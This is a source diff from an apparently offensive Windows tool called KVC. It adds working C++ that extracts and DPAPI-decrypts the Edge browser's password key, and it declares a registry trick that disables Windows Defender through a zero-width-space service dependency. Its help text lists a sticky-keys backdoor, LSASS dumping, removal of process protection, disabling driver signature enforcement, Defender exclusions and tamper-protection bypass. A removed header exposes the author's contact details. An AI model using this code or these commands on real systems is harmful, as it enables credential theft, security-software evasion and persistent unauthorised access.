RegistryContext(RegistryContext&&) = default;
|
||||
RegistryContext& operator=(RegistryContext&&) = default;
|
||||
|
||||
// Remove temporary hive and transaction files (idempotent, handles locks)
|
||||
void Cleanup() noexcept;
|
||||
};
|
||||
|
||||
// Core modify workflow (enable==true to enable engine, false to disable) using snapshot/restore
|
||||
static bool ModifySecurityEngine(bool enable) noexcept;
|
||||
|
||||
// Enable required privileges: SE_BACKUP_NAME, SE_RESTORE_NAME, SE_LOAD_DRIVER_NAME
|
||||
static bool EnableRequiredPrivileges() noexcept;
|
||||
|
||||
// Create temporary Services hive snapshot and load it under HKLM\Temp
|
||||
static bool CreateRegistrySnapshot(RegistryContext& ctx) noexcept;
|
||||
|
||||
// Switch WinDefend DependOnService between RpcSs\x200B and RpcSs inside temp hive
|
||||
static bool ModifyDefenderDependencies(const RegistryContext& ctx, bool enable) noexcept;
|
||||
|
||||
// Unload temp hive and restore modified snapshot to live Services key (critical operation)
|
||||
static bool RestoreRegistrySnapshot(const RegistryContext& ctx) noexcept;
|
||||
|
||||
// Read REG_MULTI_SZ into vector; returns empty vector on error or missing value
|
||||
static std::vector<std::wstring> ReadMultiString(HKEY key, const std::wstring& valueName) noexcept;
|
||||
|
||||
// Write vector as REG_MULTI_SZ (handles empty/single entries and double-null terminator)
|
||||
static bool WriteMultiString(HKEY key, const std::wstring& valueName, const std::vector<std::wstring>& values) noexcept;
|
||||
|
||||
// Registry constants
|
||||
static constexpr const wchar_t* WINDEFEND_KEY = L"SYSTEM\\CurrentControlSet\\Services\\WinDefend";
|
||||
static constexpr const wchar_t* SERVICES_KEY = L"SYSTEM\\CurrentControlSet\\Services";
|
||||
static constexpr const wchar_t* DEPEND_VALUE = L"DependOnService";
|
||||
static constexpr const wchar_t* RPC_SERVICE_ACTIVE = L"RpcSs";
|
||||
static constexpr const wchar_t* RPC_SERVICE_INACTIVE = L"RpcSs\x200B";
|
||||
};
|
||||
74
kvc/EdgeDPAPI.cpp
Normal file
74
kvc/EdgeDPAPI.cpp
Normal file
@@ -0,0 +1,74 @@
|
||||
// EdgeDPAPI.cpp - DPAPI decryption for Edge browser password keys
|
||||
// Implements orchestrator-side password key extraction using Windows DPAPI
|
||||
#include "EdgeDPAPI.h"
|
||||
#include <Wincrypt.h>
|
||||
#include <fstream>
|
||||
#pragma comment(lib, "Crypt32.lib")
|
||||
|
||||
namespace
|
||||
{
|
||||
// Decodes Base64 string into binary data using Windows Crypto API
|
||||
std::vector<uint8_t> Base64DecodeSimple(const std::string& input)
|
||||
{
|
||||
DWORD size = 0;
|
||||
if (!CryptStringToBinaryA(input.c_str(), 0, CRYPT_STRING_BASE64, nullptr, &size, nullptr, nullptr))
|
||||
return {};
|
||||
|
||||
std::vector<uint8_t> data(size);
|
||||
CryptStringToBinaryA(input.c_str(), 0, CRYPT_STRING_BASE64, data.data(), &size, nullptr, nullptr);
|
||||
return data;
|
||||
}
|
||||
}
|
||||
|
||||
// Extracts and decrypts Edge password encryption key from Local State file
|
||||
// Uses Windows DPAPI to decrypt the key in the orchestrator's security context
|
||||
// This avoids needing COM elevation for Edge passwords specifically
|
||||
std::vector<uint8_t> DecryptEdgePasswordKeyWithDPAPI(const fs::path& localStatePath, const Console& console)
|
||||
{
|
||||
std::ifstream f(localStatePath, std::ios::binary);
|
||||
if (!f)
|
||||
return {};
|
||||
|
||||
std::string content((std::istreambuf_iterator<char>(f)), std::istreambuf_iterator<char>());
|
||||
|
||||
// Locate encrypted_key field in JSON
|
||||
std::string tag = "\"encrypted_key\":\"";
|
||||
size_t pos = content.find(tag);
|
||||
if (pos == std::string::npos)
|
||||
return {};
|
||||
|
||||
size_t end = content.find('"', pos + tag.length());
|
||||
if (end == std::string::npos)
|
||||
return {};
|
||||
|
||||
// Decode Base64 encrypted key
|
||||
std::vector<uint8_t> decoded = Base64DecodeSimple(content.substr(pos + tag.length(), end - pos - tag.length()));
|
||||
if (decoded.size() < 5)
|
||||
return {};
|
||||
|
||||
// Strip "DPAPI" prefix (5 bytes: 0x44 0x50 0x41 0x50 0x49)
|
||||
if (decoded[0] == 0x44 && decoded[1] == 0x50 && decoded[2] == 0x41 &&
|
||||
decoded[3] == 0x50 && decoded[4] == 0x49)
|
||||
{
|
||||
decoded.erase(decoded.begin(), decoded.begin() + 5);
|
||||
}
|
||||
|
||||
// Verify DPAPI blob header (0x01 0x00 0x00 0x00)
|
||||
if (decoded.size() < 4 || decoded[0] != 0x01 || decoded[1] != 0x00 ||
|
||||
decoded[2] != 0x00 || decoded[3] != 0x00)
|
||||
return {};
|
||||
|
||||
// Decrypt using Windows DPAPI
|
||||
DATA_BLOB inputBlob = { static_cast<DWORD>(decoded.size()), decoded.data() };
|
||||
DATA_BLOB outputBlob = {};
|
||||
|
||||
if (!CryptUnprotectData(&inputBlob, nullptr, nullptr, nullptr, nullptr,
|
||||
CRYPTPROTECT_UI_FORBIDDEN, &outputBlob))
|
||||
return {};
|
||||
|
||||
std::vector<uint8_t> result(outputBlob.pbData, outputBlob.pbData + outputBlob.cbData);
|
||||
LocalFree(outputBlob.pbData);
|
||||
|
||||
console.Success("Edge DPAPI password key extracted successfully");
|
||||
return result;
|
||||
}
|
||||
17
kvc/EdgeDPAPI.h
Normal file
17
kvc/EdgeDPAPI.h
Normal file
@@ -0,0 +1,17 @@
|
||||
// EdgeDPAPI.h - DPAPI operations for Edge password key extraction
|
||||
#ifndef EDGE_DPAPI_H
|
||||
#define EDGE_DPAPI_H
|
||||
|
||||
#include <Windows.h>
|
||||
#include <vector>
|
||||
#include <filesystem>
|
||||
#include "CommunicationLayer.h"
|
||||
|
||||
namespace fs = std::filesystem;
|
||||
|
||||
// Extracts and decrypts Edge password encryption key using Windows DPAPI
|
||||
// This function runs in the orchestrator's context, avoiding the need for
|
||||
// COM elevation specifically for Edge password decryption
|
||||
std::vector<uint8_t> DecryptEdgePasswordKeyWithDPAPI(const fs::path& localStatePath, const Console& console);
|
||||
|
||||
#endif // EDGE_DPAPI_H
|
||||
@@ -1,33 +1,10 @@
|
||||
/*******************************************************************************
|
||||
_ ____ ______
|
||||
| |/ /\ \ / / ___|
|
||||
| ' / \ \ / / |
|
||||
| . \ \ V /| |___
|
||||
|_|\_\ \_/ \____|
|
||||
|
||||
The **Kernel Vulnerability Capabilities (KVC)** framework represents a paradigm shift in Windows security research,
|
||||
offering unprecedented access to modern Windows internals through sophisticated ring-0 operations. Originally conceived
|
||||
as "Kernel Process Control," the framework has evolved to emphasize not just control, but the complete **exploitation
|
||||
of kernel-level primitives** for legitimate security research and penetration testing.
|
||||
|
||||
KVC addresses the critical gap left by traditional forensic tools that have become obsolete in the face of modern Windows
|
||||
security hardening. Where tools like ProcDump and Process Explorer fail against Protected Process Light (PPL) and Antimalware
|
||||
Protected Interface (AMSI) boundaries, KVC succeeds by operating at the kernel level, manipulating the very structures
|
||||
that define these protections.
|
||||
|
||||
-----------------------------------------------------------------------------
|
||||
Author : Marek Wesołowski
|
||||
Email : marek@wesolowski.eu.org
|
||||
Phone : +48 607 440 283 (Tel/WhatsApp)
|
||||
Date : 04-09-2025
|
||||
|
||||
*******************************************************************************/
|
||||
|
||||
#include <windows.h>
|
||||
#include "HelpSystem.h"
|
||||
#include <iostream>
|
||||
#include <iomanip>
|
||||
|
||||
extern "C" void ScreenShake(int intensity, int shakes);
|
||||
|
||||
void HelpSystem::PrintUsage(std::wstring_view programName) noexcept
|
||||
{
|
||||
PrintHeader();
|
||||
@@ -35,12 +12,18 @@ void HelpSystem::PrintUsage(std::wstring_view programName) noexcept
|
||||
std::wcout << L"Usage: " << programName << L" <command> [arguments]\n\n";
|
||||
|
||||
PrintServiceCommands();
|
||||
PrintDSECommands();
|
||||
PrintBasicCommands();
|
||||
PrintProcessTerminationCommands();
|
||||
PrintProtectionCommands();
|
||||
PrintSessionManagement();
|
||||
PrintSystemCommands();
|
||||
PrintRegistryCommands();
|
||||
PrintBrowserCommands();
|
||||
PrintDefenderCommands();
|
||||
PrintSecurityEngineCommands();
|
||||
PrintDPAPICommands();
|
||||
PrintWatermarkCommands();
|
||||
PrintProtectionTypes();
|
||||
PrintExclusionTypes();
|
||||
PrintPatternMatching();
|
||||
@@ -62,12 +45,12 @@ void HelpSystem::PrintHeader() noexcept
|
||||
|
||||
const int width = 80;
|
||||
|
||||
// Blue header border
|
||||
// Blue header border for visual appeal
|
||||
SetConsoleTextAttribute(hConsole, FOREGROUND_BLUE | FOREGROUND_INTENSITY);
|
||||
std::wcout << L"\n";
|
||||
std::wcout << L"================================================================================\n";
|
||||
|
||||
// Centered text printing with white color
|
||||
// Centered text printing with white color for readability
|
||||
auto printCentered = [&](const std::wstring& text) {
|
||||
int textLen = static_cast<int>(text.length());
|
||||
int padding = (width - textLen) / 2;
|
||||
@@ -102,6 +85,18 @@ void HelpSystem::PrintServiceCommands() noexcept
|
||||
std::wcout << L"\n";
|
||||
}
|
||||
|
||||
void HelpSystem::PrintDSECommands() noexcept
|
||||
{
|
||||
PrintSectionHeader(L"Driver Signature Enforcement (DSE) Control");
|
||||
PrintCommandLine(L"dse off", L"Disable DSE (auto-handles HVCI with reboot if needed)");
|
||||
PrintCommandLine(L"dse on", L"Re-enable DSE to restore kernel security");
|
||||
PrintCommandLine(L"dse", L"Check current DSE status (g_CiOptions address and value)");
|
||||
PrintNote(L"Requires kernel driver session with elevated privileges");
|
||||
PrintNote(L"HVCI systems: No files will be modified, replaced, or deleted");
|
||||
PrintWarning(L"DSE modification may trigger BSOD - continue only if you understand the risk");
|
||||
std::wcout << L"\n";
|
||||
}
|
||||
|
||||
void HelpSystem::PrintBasicCommands() noexcept
|
||||
{
|
||||
PrintSectionHeader(L"Memory Dumping Commands");
|
||||
@@ -117,14 +112,32 @@ void HelpSystem::PrintBasicCommands() noexcept
|
||||
std::wcout << L"\n";
|
||||
}
|
||||
|
||||
void HelpSystem::PrintProcessTerminationCommands() noexcept
|
||||
{
|
||||
PrintSectionHeader(L"Process Termination Commands");
|
||||
PrintCommandLine(L"kill <PID|process_name>", L"Terminate process with automatic protection elevation");
|
||||
PrintCommandLine(L"kill <PID1,PID2,name3>", L"Terminate multiple processes (comma-separated)");
|
||||
PrintNote(L"Supports process names: 'kill total' terminates Total Commander");
|
||||
PrintNote(L"Automatically matches target protection level for protected processes");
|
||||
PrintNote(L"Case-insensitive partial matching: 'notepad' matches 'notepad.exe'");
|
||||
std::wcout << L"\n";
|
||||
}
|
||||
|
||||
void HelpSystem::PrintProtectionCommands() noexcept
|
||||
{
|
||||
PrintSectionHeader(L"Process Protection Commands");
|
||||
PrintCommandLine(L"set <PID|process_name> <PP|PPL> <TYPE>", L"Set protection (force, ignoring current state)");
|
||||
PrintCommandLine(L"protect <PID|process_name> <PP|PPL> <TYPE>", L"Protect unprotected process");
|
||||
PrintCommandLine(L"unprotect <PID|process_name>", L"Remove protection from specific process");
|
||||
PrintCommandLine(L"unprotect <PID|process_name|SIGNER>", L"Remove protection from process(es)");
|
||||
PrintCommandLine(L"unprotect all", L"Remove protection from ALL processes");
|
||||
PrintCommandLine(L"unprotect <PID1,PID2,PID3>", L"Remove protection from multiple processes");
|
||||
PrintCommandLine(L"set-signer <SIGNER> <PP|PPL> <NEW_SIGNER>", L"Batch modify protection for all processes of specific signer");
|
||||
PrintCommandLine(L"list-signer <SIGNER>", L"List all processes with specific signer");
|
||||
PrintCommandLine(L"restore <signer_name>", L"Restore protection for specific signer group");
|
||||
PrintCommandLine(L"restore all", L"Restore all saved protection states");
|
||||
PrintCommandLine(L"history", L"Show saved session history (max 16 sessions)");
|
||||
PrintCommandLine(L"cleanup-sessions", L"Delete all sessions except current");
|
||||
PrintNote(L"SIGNER can be: Antimalware, WinTcb, Windows, Lsa, WinSystem, etc.");
|
||||
std::wcout << L"\n";
|
||||
}
|
||||
|
||||
@@ -139,6 +152,19 @@ void HelpSystem::PrintSystemCommands() noexcept
|
||||
std::wcout << L"\n";
|
||||
}
|
||||
|
||||
void HelpSystem::PrintRegistryCommands() noexcept
|
||||
{
|
||||
PrintSectionHeader(L"Registry Backup & Defragmentation");
|
||||
PrintCommandLine(L"registry backup", L"Backup all registry hives to Downloads");
|
||||
PrintCommandLine(L"registry backup C:\\backup", L"Backup to custom directory");
|
||||
PrintCommandLine(L"registry restore C:\\backup", L"Restore hives from backup");
|
||||
PrintCommandLine(L"registry defrag", L"Defragment registry (backup+compact)");
|
||||
PrintNote(L"Backs up: BCD, SAM, SECURITY, SOFTWARE, SYSTEM, NTUSER, etc.");
|
||||
PrintNote(L"Default path: Downloads\\Registry_Backup_YYYYMMDD_HHMMSS");
|
||||
PrintNote(L"Defrag compacts hives through RegSaveKeyEx (no fragmentation)");
|
||||
std::wcout << L"\n";
|
||||
}
|
||||
|
||||
void HelpSystem::PrintDefenderCommands() noexcept
|
||||
{
|
||||
PrintSectionHeader(L"Enhanced Windows Defender Exclusion Management");
|
||||
@@ -152,6 +178,47 @@ void HelpSystem::PrintDefenderCommands() noexcept
|
||||
std::wcout << L"\n";
|
||||
}
|
||||
|
||||
void HelpSystem::PrintSecurityEngineCommands() noexcept
|
||||
{
|
||||
PrintSectionHeader(L"Security Engine Management");
|
||||
PrintCommandLine(L"secengine disable", L"Disable Windows Defender security engine");
|
||||
PrintCommandLine(L"secengine enable", L"Enable Windows Defender security engine");
|
||||
PrintCommandLine(L"secengine status", L"Check current security engine status");
|
||||
PrintCommandLine(L"secengine disable --restart", L"Disable and restart system immediately");
|
||||
PrintCommandLine(L"secengine enable --restart", L"Enable and restart system immediately");
|
||||
PrintNote(L"Registry-level manipulation - bypasses tamper protection");
|
||||
PrintNote(L"System restart required for changes to take effect");
|
||||
std::wcout << L"\n";
|
||||
}
|
||||
|
||||
void HelpSystem::PrintSessionManagement() noexcept
|
||||
{
|
||||
PrintSectionHeader(L"Session Management System");
|
||||
std::wcout << L" - Automatic boot detection and session tracking (max 16 sessions)\n";
|
||||
std::wcout << L" - Each 'unprotect' operation saves process states grouped by signer\n";
|
||||
std::wcout << L" - 'restore' commands reapply protection from saved session state\n";
|
||||
std::wcout << L" - Session history persists across reboots until limit reached\n";
|
||||
std::wcout << L" - Oldest sessions auto-deleted when exceeding 16 session limit\n";
|
||||
std::wcout << L" - Manual cleanup available via 'cleanup-sessions' command\n";
|
||||
std::wcout << L" - Status tracking: UNPROTECTED (after unprotect) -> RESTORED (after restore)\n\n";
|
||||
}
|
||||
|
||||
void HelpSystem::PrintBrowserCommands() noexcept
|
||||
{
|
||||
PrintSectionHeader(L"Browser Password Extraction Commands");
|
||||
PrintCommandLine(L"browser-passwords", L"Extract Chrome passwords (default)");
|
||||
PrintCommandLine(L"bp --chrome", L"Extract Chrome passwords explicitly");
|
||||
PrintCommandLine(L"bp --brave", L"Extract Brave browser passwords");
|
||||
PrintCommandLine(L"bp --edge", L"Extract Edge browser passwords");
|
||||
PrintCommandLine(L"bp --all", L"Extract from all installed browsers");
|
||||
PrintCommandLine(L"bp --output C:\\reports", L"Custom output directory");
|
||||
PrintCommandLine(L"bp --edge -o C:\\data", L"Edge passwords to custom path");
|
||||
PrintNote(L"Requires kvc_pass.exe for Chrome/Brave/All");
|
||||
PrintNote(L"Edge with kvc_pass: JSON + cookies + HTML/TXT reports (full extraction)");
|
||||
PrintNote(L"Edge without kvc_pass: HTML/TXT reports only (built-in DPAPI fallback)");
|
||||
std::wcout << L"\n";
|
||||
}
|
||||
|
||||
void HelpSystem::PrintDPAPICommands() noexcept
|
||||
{
|
||||
PrintSectionHeader(L"DPAPI Secrets Extraction Commands");
|
||||
@@ -161,6 +228,17 @@ void HelpSystem::PrintDPAPICommands() noexcept
|
||||
std::wcout << L"\n";
|
||||
}
|
||||
|
||||
void HelpSystem::PrintWatermarkCommands() noexcept
|
||||
{
|
||||
PrintSectionHeader(L"Watermark Management");
|
||||
PrintCommandLine(L"watermark remove", L"Remove Windows desktop watermark (alias: wm remove)");
|
||||
PrintCommandLine(L"watermark restore", L"Restore Windows desktop watermark (alias: wm restore)");
|
||||
PrintCommandLine(L"watermark status", L"Check current watermark status (alias: wm status)");
|
||||
PrintNote(L"Hijacks ExplorerFrame.dll via registry redirection");
|
||||
PrintNote(L"Requires Administrator privileges and TrustedInstaller access");
|
||||
std::wcout << L"\n";
|
||||
}
|
||||
|
||||
void HelpSystem::PrintProtectionTypes() noexcept
|
||||
{
|
||||
PrintSectionHeader(L"Protection Types");
|
||||
@@ -258,39 +336,100 @@ void HelpSystem::PrintUndumpableProcesses() noexcept
|
||||
void HelpSystem::PrintUsageExamples(std::wstring_view programName) noexcept
|
||||
{
|
||||
PrintSectionHeader(L"Usage Examples");
|
||||
const int commandWidth = 50;
|
||||
|
||||
auto printLine = [&](const std::wstring& command, const std::wstring& description) {
|
||||
const int commandWidth = 60;
|
||||
|
||||
auto printLine = [commandWidth](const std::wstring& command, const std::wstring& description) {
|
||||
std::wcout << L" " << std::left << std::setw(commandWidth)
|
||||
<< (std::wstring(programName) + L" " + command)
|
||||
<< L"# " << description << L"\n";
|
||||
<< command << L"# " << description << L"\n";
|
||||
};
|
||||
|
||||
printLine(L"shift", L"Install sticky keys backdoor");
|
||||
printLine(L"unshift", L"Remove sticky keys backdoor");
|
||||
printLine(L"install", L"Install as NT service (advanced)");
|
||||
printLine(L"service start", L"Start the service");
|
||||
printLine(L"uninstall", L"Remove service");
|
||||
printLine(L"dump lsass C:\\dumps", L"Dump LSASS to specific folder");
|
||||
printLine(L"dump 1044", L"Dump PID 1044 to Downloads folder");
|
||||
printLine(L"list", L"Show all protected processes");
|
||||
printLine(L"info lsass", L"Detailed info with dumpability analysis");
|
||||
printLine(L"protect 1044 PPL Antimalware", L"Protect process with PPL-Antimalware");
|
||||
printLine(L"set 5678 PP Windows", L"Force set PP-Windows protection");
|
||||
printLine(L"unprotect lsass", L"Remove protection from LSASS");
|
||||
printLine(L"unprotect 1,2,3,lsass", L"Batch unprotect multiple targets");
|
||||
printLine(L"trusted cmd", L"Run command as TrustedInstaller");
|
||||
printLine(L"trusted \"C:\\app.exe\" --arg", L"Run application with arguments");
|
||||
printLine(L"install-context", L"Add right-click menu entries");
|
||||
printLine(L"add-exclusion", L"Add current program to exclusions");
|
||||
printLine(L"add-exclusion C:\\malware.exe", L"Add specific file to exclusions");
|
||||
printLine(L"add-exclusion Paths C:\\temp", L"Add folder to path exclusions");
|
||||
printLine(L"add-exclusion Processes cmd.exe", L"Add process to exclusions");
|
||||
printLine(L"add-exclusion Extensions .tmp", L"Add extension to exclusions");
|
||||
printLine(L"add-exclusion IpAddresses 1.1.1.1", L"Add IP to exclusions");
|
||||
printLine(L"remove-exclusion Processes cmd.exe", L"Remove process exclusion");
|
||||
printLine(L"export secrets", L"Export secrets to Downloads folder");
|
||||
printLine(L"export secrets C:\\reports", L"Export secrets to specific folder");
|
||||
// Process inspection and monitoring
|
||||
printLine(L"kvc list", L"Show all protected processes");
|
||||
printLine(L"kvc info lsass", L"Detailed info with dumpability analysis");
|
||||
|
||||
// Process protection management
|
||||
printLine(L"kvc protect 1044 PPL Antimalware", L"Protect process with PPL-Antimalware");
|
||||
printLine(L"kvc set 5678 PP Windows", L"Force set PP-Windows protection");
|
||||
printLine(L"kvc unprotect lsass", L"Remove protection from LSASS");
|
||||
printLine(L"kvc unprotect 1,2,3,lsass", L"Batch unprotect multiple targets");
|
||||
printLine(L"kvc unprotect Antimalware", L"Remove protection from all Antimalware processes");
|
||||
printLine(L"kvc unprotect all", L"Remove protection from ALL processes (grouped by signer)");
|
||||
printLine(L"kvc set-signer Antimalware PPL WinTcb", L"Change all Antimalware processes to PPL-WinTcb");
|
||||
printLine(L"kvc set-signer Windows PP Antimalware", L"Escalate all Windows processes to PP-Antimalware");
|
||||
|
||||
// Session state management
|
||||
printLine(L"kvc history", L"Show saved sessions (max 16, with status tracking)");
|
||||
printLine(L"kvc restore Antimalware", L"Restore protection for Antimalware group");
|
||||
printLine(L"kvc restore all", L"Restore all saved protection states from current session");
|
||||
printLine(L"kvc cleanup-sessions", L"Delete all old sessions (keep only current)");
|
||||
|
||||
// Process termination
|
||||
printLine(L"kvc kill 1234", L"Terminate process with PID 1234");
|
||||
printLine(L"kvc kill total", L"Terminate Total Commander by name");
|
||||
printLine(L"kvc kill 1234,5678,9012", L"Terminate multiple processes");
|
||||
printLine(L"kvc kill lsass", L"Terminate protected process (auto-elevation)");
|
||||
|
||||
// Memory dumping
|
||||
printLine(L"kvc dump lsass C:\\dumps", L"Dump LSASS to specific folder");
|
||||
printLine(L"kvc dump 1044", L"Dump PID 1044 to Downloads folder");
|
||||
|
||||
// Service installation and management
|
||||
printLine(L"kvc install", L"Install as NT service (advanced)");
|
||||
printLine(L"kvc service start", L"Start the service");
|
||||
printLine(L"kvc uninstall", L"Remove service");
|
||||
|
||||
// Driver Signature Enforcement control
|
||||
printLine(L"kvc dse off", L"Disable DSE to load unsigned drivers");
|
||||
printLine(L"kvc dse on", L"Re-enable DSE for system security");
|
||||
printLine(L"kvc dse", L"Check current DSE status");
|
||||
|
||||
// Watermark management
|
||||
printLine(L"kvc wm status", L"Check if watermark is removed or active");
|
||||
printLine(L"kvc wm remove", L"Remove Windows desktop watermark");
|
||||
printLine(L"kvc wm restore", L"Restore original Windows watermark");
|
||||
printLine(L"kvc watermark remove", L"Full command syntax (same as 'wm remove')");
|
||||
|
||||
// System backdoors
|
||||
printLine(L"kvc shift", L"Install sticky keys backdoor");
|
||||
printLine(L"kvc unshift", L"Remove sticky keys backdoor");
|
||||
|
||||
// TrustedInstaller elevation
|
||||
printLine(L"kvc trusted cmd", L"Run command as TrustedInstaller");
|
||||
printLine(L"kvc trusted \"C:\\app.exe\" --arg", L"Run application with arguments");
|
||||
printLine(L"kvc install-context", L"Add right-click menu entries");
|
||||
|
||||
// Windows Defender exclusions
|
||||
printLine(L"kvc add-exclusion", L"Add current program to exclusions");
|
||||
printLine(L"kvc add-exclusion C:\\malware.exe", L"Add specific file to exclusions");
|
||||
printLine(L"kvc add-exclusion Paths C:\\temp", L"Add folder to path exclusions");
|
||||
printLine(L"kvc add-exclusion Processes cmd.exe", L"Add process to exclusions");
|
||||
printLine(L"kvc add-exclusion Extensions .tmp", L"Add extension to exclusions");
|
||||
printLine(L"kvc add-exclusion IpAddresses 1.1.1.1", L"Add IP to exclusions");
|
||||
printLine(L"kvc remove-exclusion Processes cmd.exe", L"Remove process exclusion");
|
||||
|
||||
// Security engine control
|
||||
printLine(L"kvc secengine status", L"Check Windows Defender status");
|
||||
printLine(L"kvc secengine disable", L"Disable Windows Defender engine");
|
||||
printLine(L"kvc secengine enable", L"Re-enable Windows Defender engine");
|
||||
printLine(L"kvc secengine disable --restart", L"Disable Defender and restart system");
|
||||
printLine(L"kvc secengine enable --restart", L"Enable Defender and restart system");
|
||||
|
||||
// Credential extraction
|
||||
printLine(L"kvc export secrets", L"Export secrets to Downloads folder");
|
||||
printLine(L"kvc export secrets C:\\reports", L"Export secrets to specific folder");
|
||||
|
||||
// Registry operations
|
||||
printLine(L"kvc registry backup", L"Backup all hives to Downloads");
|
||||
printLine(L"kvc registry backup C:\\backup", L"Backup to custom directory");
|
||||
printLine(L"kvc registry restore C:\\backup\\Registry_Backup_*", L"Restore from backup");
|
||||
printLine(L"kvc registry defrag", L"Defragment registry (backup+restore)");
|
||||
|
||||
// Browser password extraction
|
||||
printLine(L"kvc bp --edge", L"Edge only (works standalone, no kvc_pass needed)");
|
||||
printLine(L"kvc bp --all", L"Extract all browsers (requires kvc_pass.exe)");
|
||||
printLine(L"kvc bp --edge -o C:\\passwords", L"Edge with custom output directory");
|
||||
|
||||
std::wcout << L"\n";
|
||||
}
|
||||
|
||||
@@ -298,7 +437,7 @@ void HelpSystem::PrintSecurityNotice() noexcept
|
||||
{
|
||||
PrintSectionHeader(L"SECURITY & LEGAL NOTICE");
|
||||
|
||||
// Critical warning section with red highlighting
|
||||
// Critical warning section with red highlighting for maximum visibility
|
||||
HANDLE hConsole = GetStdHandle(STD_OUTPUT_HANDLE);
|
||||
CONSOLE_SCREEN_BUFFER_INFO csbi;
|
||||
GetConsoleScreenBufferInfo(hConsole, &csbi);
|
||||
@@ -356,11 +495,11 @@ void HelpSystem::PrintFooter() noexcept
|
||||
|
||||
const int width = 80;
|
||||
|
||||
// Top border with blue color
|
||||
// Top border with blue color for professional appearance
|
||||
SetConsoleTextAttribute(hConsole, FOREGROUND_BLUE | FOREGROUND_INTENSITY);
|
||||
std::wcout << L"+" << std::wstring(width-2, L'-') << L"+\n";
|
||||
|
||||
// Centered footer content - split into multiple lines
|
||||
// Centered footer content - split into multiple lines for readability
|
||||
std::wstring line1 = L"Support this project - a small donation is greatly appreciated";
|
||||
std::wstring line2 = L"and helps sustain private research builds.";
|
||||
std::wstring line3 = L"GitHub source code: https://github.com/wesmar/kvc/";
|
||||
@@ -375,7 +514,7 @@ void HelpSystem::PrintFooter() noexcept
|
||||
SetConsoleTextAttribute(hConsole, FOREGROUND_BLUE | FOREGROUND_INTENSITY);
|
||||
std::wcout << L"|";
|
||||
|
||||
// Text in white
|
||||
// Text in white for maximum readability
|
||||
SetConsoleTextAttribute(hConsole, FOREGROUND_RED | FOREGROUND_GREEN | FOREGROUND_BLUE | FOREGROUND_INTENSITY);
|
||||
std::wcout << std::wstring(padding, L' ') << text
|
||||
<< std::wstring(width - 2 - padding - textLen, L' ');
|
||||
@@ -390,11 +529,11 @@ void HelpSystem::PrintFooter() noexcept
|
||||
printCenteredFooter(line3);
|
||||
printCenteredFooter(line4);
|
||||
|
||||
// Donation line with colored links
|
||||
// Donation line with colored links for easy identification
|
||||
SetConsoleTextAttribute(hConsole, FOREGROUND_BLUE | FOREGROUND_INTENSITY);
|
||||
std::wcout << L"|";
|
||||
|
||||
// Calculate spacing for PayPal and Revolut
|
||||
// Calculate spacing for PayPal and Revolut links
|
||||
std::wstring paypal = L"PayPal: ";
|
||||
std::wstring paypalLink = L"paypal.me/ext1";
|
||||
std::wstring middle = L" ";
|
||||
@@ -420,10 +559,10 @@ void HelpSystem::PrintFooter() noexcept
|
||||
SetConsoleTextAttribute(hConsole, FOREGROUND_BLUE | FOREGROUND_INTENSITY);
|
||||
std::wcout << L"|\n";
|
||||
|
||||
// Bottom border
|
||||
// Bottom border to complete the frame
|
||||
std::wcout << L"+" << std::wstring(width-2, L'-') << L"+\n\n";
|
||||
|
||||
// Restore original color
|
||||
// Restore original color for subsequent output
|
||||
SetConsoleTextAttribute(hConsole, originalColor);
|
||||
}
|
||||
|
||||
@@ -435,11 +574,11 @@ void HelpSystem::PrintSectionHeader(const wchar_t* title) noexcept
|
||||
GetConsoleScreenBufferInfo(hConsole, &csbi);
|
||||
WORD originalColor = csbi.wAttributes;
|
||||
|
||||
// Yellow color for section headers
|
||||
// Yellow color for section headers to make them stand out
|
||||
SetConsoleTextAttribute(hConsole, FOREGROUND_RED | FOREGROUND_GREEN | FOREGROUND_INTENSITY);
|
||||
std::wcout << L"=== " << title << L" ===\n";
|
||||
|
||||
// Restore original color
|
||||
// Restore original color after header
|
||||
SetConsoleTextAttribute(hConsole, originalColor);
|
||||
}
|
||||
|
||||
@@ -457,11 +596,11 @@ void HelpSystem::PrintNote(const wchar_t* note) noexcept
|
||||
GetConsoleScreenBufferInfo(hConsole, &csbi);
|
||||
WORD originalColor = csbi.wAttributes;
|
||||
|
||||
// Gray color for informational notes
|
||||
// Gray color for informational notes to differentiate from commands
|
||||
SetConsoleTextAttribute(hConsole, FOREGROUND_INTENSITY);
|
||||
std::wcout << L" " << note << L"\n";
|
||||
|
||||
// Restore original color
|
||||
// Restore original color after note
|
||||
SetConsoleTextAttribute(hConsole, originalColor);
|
||||
}
|
||||
|
||||
@@ -472,23 +611,34 @@ void HelpSystem::PrintWarning(const wchar_t* warning) noexcept
|
||||
GetConsoleScreenBufferInfo(hConsole, &csbi);
|
||||
WORD originalColor = csbi.wAttributes;
|
||||
|
||||
// Red color for warning messages
|
||||
// Red color for warning messages to grab attention
|
||||
SetConsoleTextAttribute(hConsole, FOREGROUND_RED | FOREGROUND_INTENSITY);
|
||||
std::wcout << L" " << warning << L"\n";
|
||||
|
||||
// Restore original color
|
||||
// Restore original color after warning
|
||||
SetConsoleTextAttribute(hConsole, originalColor);
|
||||
}
|
||||
void HelpSystem::PrintBrowserCommands() noexcept
|
||||
|
||||
void HelpSystem::PrintUnknownCommandMessage(std::wstring_view command) noexcept
|
||||
{
|
||||
PrintSectionHeader(L"Browser Password Extraction Commands");
|
||||
PrintCommandLine(L"browser-passwords", L"Extract Chrome passwords (default)");
|
||||
PrintCommandLine(L"bp --chrome", L"Extract Chrome passwords explicitly");
|
||||
PrintCommandLine(L"bp --brave", L"Extract Brave browser passwords");
|
||||
PrintCommandLine(L"bp --edge", L"Extract Edge browser passwords");
|
||||
PrintCommandLine(L"bp --output C:\\reports", L"Custom output directory");
|
||||
PrintCommandLine(L"bp --edge -o C:\\data", L"Edge passwords to custom path");
|
||||
PrintNote(L"Requires kvc_pass.exe in current directory");
|
||||
PrintNote(L"Uses COM elevation for advanced browser encryption");
|
||||
std::wcout << L"\n";
|
||||
HANDLE hConsole = GetStdHandle(STD_OUTPUT_HANDLE);
|
||||
CONSOLE_SCREEN_BUFFER_INFO csbi;
|
||||
GetConsoleScreenBufferInfo(hConsole, &csbi);
|
||||
WORD originalColor = csbi.wAttributes;
|
||||
|
||||
// Red color for the entire message block
|
||||
SetConsoleTextAttribute(hConsole, FOREGROUND_RED | FOREGROUND_INTENSITY);
|
||||
|
||||
std::wcout << L"\nCommand not found: \"" << command << L"\"\n\n";
|
||||
std::wcout << L"To display help, use one of the following:\n";
|
||||
std::wcout << L" kvc -h\n";
|
||||
std::wcout << L" kvc help\n";
|
||||
